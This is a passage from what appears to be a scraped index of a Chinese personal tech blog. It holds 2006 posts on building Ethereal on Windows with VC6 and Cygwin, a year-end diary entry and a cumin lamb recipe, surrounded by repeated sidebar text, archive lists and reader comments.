年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2007/01/01/happy-new-year-2007/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"'金猪年'快乐"},{"content":"今天是2006年的最后一天，Blogbus刚升完级，我的Blog的两个系统问题也逐一解决了，就算是没有带着什么遗憾告别2006最后一天了。\n年末最后一天，大家不约而同的都选择放松，工作中娱乐的气氛也比往常增加不少，很多人都期盼着回家团圆，并且很多家在本省的同事都陆续请假背着包提前回家了。我家也在本省，没回家主要因为工作还有剩余，而且晚上项目组阶段性活动－吃喝玩乐，我们项目组20多个人，人多热闹。由于订包房的时间不及时，导致没能订到最初想去的地方，只能去他们上次去的那个地方-西北莜面村(上次我在大连，没去成)，不过对我来说这家店我以前也没去过，还有些新鲜感的期待。\n今天公司所在开发区开通了4条公交车线路，着实让我们在开发区工作和生活的人感到兴奋，以前这块挺偏，交通不便，就有一条小巴士的线路，服务极差，而且价格贼贵。4条公交车其中一条就在公司正门前，可以直接到达沈阳的中心商业区－中街。看来沈阳政府的便民举措落实的还是很快的呀。不过今天中午听说由于公交车的开通损害了那些小巴士运行的利益，外面有好多警察，听说发生了斗殴事件，唉，不就是’钱’的问题吗，支持政府取缔小巴士。\n相信此时此刻，世界各地的人们都沉浸在喜庆的气氛中，准备着辞旧迎新。明年我的房子也要下来了，期待中。看到搜房网’香域蓝山’网上论坛说物业公司已经提前一年’上山’了，目标是万科物业，绿化紧跟新湖房产，希望物业公司不要辜负业我们主们的期望，做好物业。物业费挺贵的，听说定在1.2元，在沈阳算是高的了。\n已经进入’垃圾’时间了^_^，让我们默默等待着新年钟声的敲响吧，在心中许下你新一年的愿望，希望每个人在新一年里都身体健康，美梦成真。\n","permalink":"https://tonybai.com/2006/12/31/note-at-the-end-of-year/","summary":"\u003cp\u003e今天是2006年的最后一天，Blogbus刚升完级，我的Blog的两个系统问题也逐一解决了，就算是没有带着什么遗憾告别2006最后一天了。\u003c/p\u003e\n\u003cp\u003e年末最后一天，大家不约而同的都选择放松，工作中娱乐的气氛也比往常增加不少，很多人都期盼着回家团圆，并且很多家在本省的同事都陆续请假背着包提前回家了。我家也在本省，没回家主要因为工作还有剩余，而且晚上项目组阶段性活动－吃喝玩乐，我们项目组20多个人，人多热闹。由于订包房的时间不及时，导致没能订到最初想去的地方，只能去他们上次去的那个地方-西北莜面村(上次我在大连，没去成)，不过对我来说这家店我以前也没去过，还有些新鲜感的期待。\u003c/p\u003e","title":"岁尾小记"},{"content":"最近在研究项目下一期中新增的信令跟踪功能，在这个开源盛行的时代，开源工具当然是首选。我们发现了Ethereal，一款强大的网络分析工具包。我们不仅仅要使用Ethereal，而是在Ethereal上做二次开发，增加一个新dissector或者一个plugin，用来分析我们自己的应用层协议。\n之所以选择Ethereal还有一个很重要的原因就是它已经支持300多个协议包了，这说明Ethereal的框架已经很成熟了，在其上面做二次开发具备可行性。我们最终要形成的成果物可能要运行在Solaris上，但是家里的服务器环境都是没有显示终端的，也看不到运行画面，所以我决定现在Windows上作开发，然后移植到Solaris上。Ethereal底层的图形接口采用的是GTK，GTK是一种可在跨平台的图形界面开发包，它屏蔽了不同OS的底层细节，便于我们的程序在各个OS平台上移植。由于GTK的使用，我才觉得我的开发方案是正确的:)。另外开发一个新的dissector涉及到的代码都应该是可移植的，所需的接口Ethereal都已经提供了，调用即可。所以我在想在Windows上开发成功后，拿到Solaris下重新编译后是应该能正确运行的，有些过于理想了^_^。\n目前第一步工作就是先在Windows上编译Ethereal包，通过浏览Ethereal的Developer’s Guide和网上的一些资料得知，编译Ethereal并非易事呀，因为Ethereal依赖很多开源包以及一些其他工具(如Cygwin等)。虽然Ethereal提供的自动化构建脚本会自动下载依赖包，但是大多时候都会下载失败，我在公司的网络和家里的网络都尝试过，无一成功，无奈之中只好手工下载。依赖的开源工具包在Readme.win32中有列出。\n(一)首先我们需要一个编译器，一般在Windows上编译Ethereal用的都是VC6.0的编译器，切记在装完VC6.0后运行一下vcvars32.bat，设置一下环境变量，一般VC的安装向导程序在最后一步都会提示你是否设置环境变量的，你同意即可。\n(二)其次，编译Ethereal需要Cygwin这个工具，Cygwin呢，我在机器上早已经安装过了，我一直用它在Windows下写一些Unix下的小测试程序的。不过我当时安装的时候没有把所有的包都选择上，导致我还得重新运行Cygwin的Setup.exe程序。那么如何检查你的Cygwin中缺少哪些软件包呢，可以按照如下步骤来检查：\n1. 将cygwin的bin目录作为环境变量加入到系统环境变量path中；\n2. 在Windows命令提示符窗口下进入到Ethereal的源码包目录下，找到config.nmake文件，修改ETHEREAL_LIBS=C:\\ethereal-win32-libs\nCYGWIN_PATH=c:\\cygwin\\bin；\n3. 在Windows命令提示符窗口下运行：nmake -f Makefile.nmake verify_tools\n如果有工具包没有装全，我们会从该命令的执行结果中看到的，比如我在运行该命令之后的输出结果为：\nMicrosoft (R) Program Maintenance Utility Version 6.00.8168.0\nCopyright (C) Microsoft Corp 1988-1998. All rights reserved.\nChecking for required applications:\ncl: /cygdrive/d/Program Files/Microsoft Visual Studio/VC98/bin/cl\nlink: /cygdrive/d/Program Files/Microsoft Visual Studio/VC98/bin/link\nnmake: /cygdrive/d/Program Files/Microsoft Visual Studio/VC98/bin/nmake\nbash: /usr/bin/bash\nbison: /usr/bin/bison\nERROR: Can’t find flex. This is probably an optional cygwin package not yet inst\nalled. Try to install it using cygwin’s setup.exe!\nNMAKE : fatal error U1077: ‘bash’ : return code ’0×1′\nStop.\n可以看出flex这个工具包没有安装，还好找到一个很好的cygwin各种包的下载站点xmission，速度很快，缺少什么就上去下载，然后到cygwin的根目录’/\u0026lsquo;下，\nbzip2 -d xx.tar.bz2\ntar xvf xx.tar即可。\n反复执行上面步骤直到运行verify_tools顺利通过为止。\n下面是verify_tools运行通过的输出结果：\nD:\\Ethereal\\ethereal-0.99.0\u0026gt;nmake -f Makefile.nmake verify_tools\nMicrosoft (R) Program Maintenance Utility Version 6.00.8168.0\nCopyright (C) Microsoft Corp 1988-1998. All rights reserved.\nChecking for required applications:\ncl: /cygdrive/d/Program Files/Microsoft Visual Studio/VC98/bin/cl\nlink: /cygdrive/d/Program Files/Microsoft Visual Studio/VC98/bin/link\nnmake: /cygdrive/d/Program Files/Microsoft Visual Studio/VC98/bin/nmake\nbash: /usr/bin/bash\nbison: /usr/bin/bison\nflex: /usr/bin/flex\nenv: /usr/bin/env\ngrep: /usr/bin/grep\n/usr/bin/find: /usr/bin/find\nperl: /usr/bin/perl\nenv: /usr/bin/env\npython: /usr/bin/python\nsed: /usr/bin/sed\nunzip: /usr/bin/unzip\nwget: /usr/bin/wget\n这里有一个小插曲，verify_tools命令使用的应该是cygwin中的bash shell，但是我起初运行verify_tools时始终提示我’which’包找不到，我检查了cygwin，明明’which’包已经安装了，我疑惑的查看了系统环境变量path，终于发现了蛛丝马迹，原来我以前安装过’UnxUtils‘软件包，运行verify_tools时用的是该包里的bash shell。把UnxUtil从path中删除，问题解决。\n(三)我们要找全编译Ethereal所依赖的包，Readme.win32中也列出了依赖包的列表，以及这些包解压后应该释放到的位置：\n必选的：\nPackage Location\n——- —————-\nglib-2.4.7.zip C:\\ethereal-win32-libs\\glib\nglib-dev-2.4.7.zip C:\\ethereal-win32-libs\\glib\ngtk+-1.3.0-20030717.zip C:\\ethereal-win32-libs\\gtk+\ngtk+-dev-1.3.0-20030115.zip C:\\ethereal-win32-libs\\gtk+\nlibiconv-1.9.1.bin.woe32.zip C:\\ethereal-win32-libs\\libiconv-1.9.1.bin.woe32\ngettext-runtime-0.13.1.zip C:\\ethereal-win32-libs\\gettext-runtime-0.13.1\nnet-snmp-5.2.1.2.zip C:\\ethereal-win32-libs\nwpdpack_3_0.zip C:\\ethereal-win32-libs\n可选的：\nPackage Location\n——- —————-\nadns-1.0-win32-04.zip C:\\ethereal-win32-libs\npcre-4.4.zip C:\\ethereal-win32-libs\nzlib123-dll.zip C:\\ethereal-win32-libs\\zlib123-dll\n尽量按照Package的版本下载，否则除了问题很难搞定，这里面除了net-snmp我没有找到5.2.1.2版本，我用了5.2.3替代之外，其余的都可以找到，这里有个站点http://mirror.sg.depaul.edu/pub/security/ethereal/win32/development/，几乎可以下载到上面所有的软件。net-snmp我下载的是源码包，需要先编译一下，记住编译Release版本即可。\n(四)最后一步执行：nmake -f Makefile.nmake all\n编译过程中的几个问题：\n1. 编译过程中经常会中断，很多是因为’can’t open the file ‘uni\nstd.h”这个头文件，如果出现这样的问题，可以修改出错源文件的代码，将#include \u0026lt;unistd.h\u0026gt;修改为\n#ifdef HAVE_UNISTD_H\n#include\u0026lt;unistd.h\u0026gt;\n#endif\n即可。\n2. 另外在编译过程中还发现需要lua5.1这个包。\n3. 如果你下载的是gtk 1.x的包，你就是用gtk+这个目录，并且需要在config.nmake中注释掉GTK2_DIR=$(ETHEREAL_LIBS)\\gtk2这项，我在编译中如果不注释掉该项，始终编译不过去。\n编译过程很耗时，也许是我的本本CPU主频低的缘故，这可是考验耐性的活儿呀^_^。\n","permalink":"https://tonybai.com/2006/12/30/build-ethereal-on-windows/","summary":"\u003cp\u003e最近在研究项目下一期中新增的信令跟踪功能，在这个开源盛行的时代，开源工具当然是首选。我们发现了\u003ca href=\"http://www.ethereal.com/\"\u003eEthereal\u003c/a\u003e，一款强大的网络分析工具包。我们不仅仅要使用Ethereal，而是在Ethereal上做二次开发，增加一个新dissector或者一个plugin，用来分析我们自己的应用层协议。\u003c/p\u003e\n\u003cp\u003e之所以选择Ethereal还有一个很重要的原因就是它已经支持300多个协议包了，这说明Ethereal的框架已经很成熟了，在其上面做二次开发具备可行性。我们最终要形成的成果物可能要运行在Solaris上，但是家里的服务器环境都是没有显示终端的，也看不到运行画面，所以我决定现在Windows上作开发，然后移植到Solaris上。Ethereal底层的图形接口采用的是GTK，GTK是一种可在跨平台的图形界面开发包，它屏蔽了不同OS的底层细节，便于我们的程序在各个OS平台上移植。由于GTK的使用，我才觉得我的开发方案是正确的:)。另外开发一个新的dissector涉及到的代码都应该是可移植的，所需的接口Ethereal都已经提供了，调用即可。所以我在想在Windows上开发成功后，拿到Solaris下重新编译后是应该能正确运行的，有些过于理想了^_^。\u003c/p\u003e","title":"编译Ethereal On Windows"},{"content":"圣诞吃火锅剩下的羊羔肉片还有许多，GF建议做成孜然羊肉，我只是吃过别人做的孜然羊肉，又没有制作经验，就凭着自己记忆中那么一点点感性认识就动手做了一次。谈不上经验，就是经历罢了。^_^\n孜然羊肉的做法各不相同，相同的用料包括羊肉和孜然，我也不知道什么样的羊肉最适合做这道菜，我手头上就这些’料’，试着做吧。后来在论坛上有人说’羊肉不要冻的那种’。\n与羊肉搭配的蔬菜包括洋葱和香菜，洋葱切成硬币大小的片，香菜切丝，长度不要太长，因为香菜到锅里就缠在一起了，不好炒。油热后，放入姜丝调味；将羊肉倒入，不停翻炒，羊肉很容易碎，而且粘锅底，所以翻炒速率要快，而且用些力气；放入洋葱和香菜丝，大火翻炒，加入你喜欢的调料如盐等；我喜欢加点蒜末，不知道这样会不会影响味道；要出锅的时候加入孜然和鸡精(或者味精)，大力翻炒几次后关火，孜然羊肉作完了。\n我就是这么做的，又不是专业，不过尝了一下味道不错，也许是饿了，或者自己就这样的品尝标准了^_^\n孜然羊肉，碗有些深，光线不好，所以照片不是很清晰。\n","permalink":"https://tonybai.com/2006/12/27/fried-lamb-with-cumin/","summary":"\u003cp\u003e圣诞吃火锅剩下的羊羔肉片还有许多，GF建议做成孜然羊肉，我只是吃过别人做的孜然羊肉，又没有制作经验，就凭着自己记忆中那么一点点感性认识就动手做了一次。谈不上经验，就是经历罢了。^_^\u003c/p\u003e","title":"露一手-'孜然羊肉'"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2006/12/26/an-error-of-write-great-code/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"'Write Great Code'书中的一处错误"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 